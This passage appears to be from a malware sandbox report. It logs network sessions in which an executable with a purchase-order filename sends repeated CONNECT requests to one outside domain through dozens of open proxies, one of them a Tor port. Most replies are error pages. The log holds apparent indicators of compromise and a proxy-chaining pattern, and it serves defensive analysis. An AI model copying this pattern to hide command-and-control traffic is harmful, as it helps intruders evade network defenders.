Mar 11, 2024 16:39:54.715259075 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:54 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1661	192.168.2.10	51311	162.214.225.223	63452	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.691587925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.707796097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.778127909 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.911030054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1662	192.168.2.10	54985	223.113.80.158	9091	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.692353010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.148576975 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:39:55 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1663	192.168.2.10	55117	176.113.157.149	37417	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.703685999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1664	192.168.2.10	51213	54.37.196.189	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.703870058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.707844973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1665	192.168.2.10	55091	117.160.250.132	8899	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.789288998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.598517895 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.101939917 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:39:53 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1666	192.168.2.10	54436	114.129.2.82	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.790452957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.060998917 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1667	192.168.2.10	55080	175.183.82.221	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.790457964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1668	192.168.2.10	54338	88.202.230.103	8896	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.790885925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.801610947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.989123106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.082839966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.176352978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.285680056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:41.379553080 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:05.488729000 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:53.519922972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1669	192.168.2.10	55056	175.183.82.221	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.795593023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1670	192.168.2.10	55070	208.109.14.49	37377	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.851526022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.785881042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.973710060 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.285981894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.973542929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:06.584500074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:11.285957098 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1671	192.168.2.10	55107	102.132.201.202	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.852160931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.300251007 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Mon, 11 Mar 2024 15:39:53 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1672	192.168.2.10	54394	202.61.204.51	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.852778912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.978562117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.989171982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.082853079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.176423073 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.286148071 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:41.379547119 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:05.488754988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1673	192.168.2.10	54527	163.172.147.89	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.852785110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.910974026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.911005974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.911101103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:07.462198019 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1674	192.168.2.10	55166	196.20.125.129	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.852909088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1675	192.168.2.10	54410	106.75.217.31	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.853802919 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.978571892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.989167929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:05.082833052 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.176305056 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:29.286149979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:41.379549026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:05.488775015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1676	192.168.2.10	55165	45.11.95.166	6008	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

